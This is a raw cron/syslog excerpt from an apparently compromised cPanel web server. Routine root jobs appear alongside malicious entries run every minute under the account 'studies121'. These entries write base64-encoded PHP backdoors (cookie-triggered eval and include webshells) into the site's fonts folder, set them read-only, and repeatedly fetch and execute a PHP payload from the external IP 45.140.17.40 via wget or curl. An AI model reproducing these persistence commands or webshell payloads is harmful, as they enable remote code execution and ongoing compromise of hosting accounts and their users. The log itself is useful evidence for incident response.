Sep 22 10:29:01 ip-184-168-122-23 CROND[2426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:30:01 ip-184-168-122-23 CROND[2580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:30:01 ip-184-168-122-23 CROND[2582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 10:30:01 ip-184-168-122-23 CROND[2587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:30:01 ip-184-168-122-23 CROND[2588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:30:01 ip-184-168-122-23 CROND[2583]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 10:30:01 ip-184-168-122-23 CROND[2584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:30:01 ip-184-168-122-23 CROND[2586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:30:01 ip-184-168-122-23 CROND[2585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:31:01 ip-184-168-122-23 CROND[2769]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 10:31:01 ip-184-168-122-23 CROND[2768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:31:01 ip-184-168-122-23 CROND[2771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:31:01 ip-184-168-122-23 CROND[2773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:31:01 ip-184-168-122-23 CROND[2774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:32:01 ip-184-168-122-23 CROND[2897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:32:01 ip-184-168-122-23 CROND[2898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:32:01 ip-184-168-122-23 CROND[2899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:32:01 ip-184-168-122-23 CROND[2901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:32:01 ip-184-168-122-23 CROND[2902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:33:01 ip-184-168-122-23 CROND[3097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:33:01 ip-184-168-122-23 CROND[3098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:33:01 ip-184-168-122-23 CROND[3100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:33:01 ip-184-168-122-23 CROND[3103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:34:01 ip-184-168-122-23 CROND[3241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:34:01 ip-184-168-122-23 CROND[3239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:34:01 ip-184-168-122-23 CROND[3240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:34:01 ip-184-168-122-23 CROND[3243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:34:01 ip-184-168-122-23 CROND[3249]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:35:01 ip-184-168-122-23 CROND[3423]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 10:35:01 ip-184-168-122-23 CROND[3422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:35:01 ip-184-168-122-23 CROND[3424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:35:01 ip-184-168-122-23 CROND[3429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:35:01 ip-184-168-122-23 CROND[3433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:35:01 ip-184-168-122-23 CROND[3432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 10:35:01 ip-184-168-122-23 CROND[3431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:35:01 ip-184-168-122-23 CROND[3436]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 10:36:01 ip-184-168-122-23 CROND[4016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:36:01 ip-184-168-122-23 CROND[4017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:36:01 ip-184-168-122-23 CROND[4022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:36:01 ip-184-168-122-23 CROND[4021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:36:01 ip-184-168-122-23 CROND[4024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:37:01 ip-184-168-122-23 CROND[4757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:37:01 ip-184-168-122-23 CROND[4758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:37:01 ip-184-168-122-23 CROND[4759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:37:01 ip-184-168-122-23 CROND[4763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:38:02 ip-184-168-122-23 CROND[5343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:38:02 ip-184-168-122-23 CROND[5344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:38:02 ip-184-168-122-23 CROND[5347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:38:02 ip-184-168-122-23 CROND[5346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:38:02 ip-184-168-122-23 CROND[5350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:39:01 ip-184-168-122-23 CROND[6066]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 10:39:01 ip-184-168-122-23 CROND[6067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:39:01 ip-184-168-122-23 CROND[6068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:39:01 ip-184-168-122-23 CROND[6069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:39:01 ip-184-168-122-23 CROND[6072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:40:02 ip-184-168-122-23 CROND[6840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 10:40:02 ip-184-168-122-23 CROND[6842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 10:40:02 ip-184-168-122-23 CROND[6846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 10:40:02 ip-184-168-122-23 CROND[6845]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 10:40:02 ip-184-168-122-23 CROND[6849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 10:40:02 ip-184-168-122-23 CROND[6848]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 10:40:02 ip-184-168-122-23 CROND[6856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 10:40:02 ip-184-168-122-23 CROND[6855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 10:41:01 ip-184-168-122-23 CROND[7600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
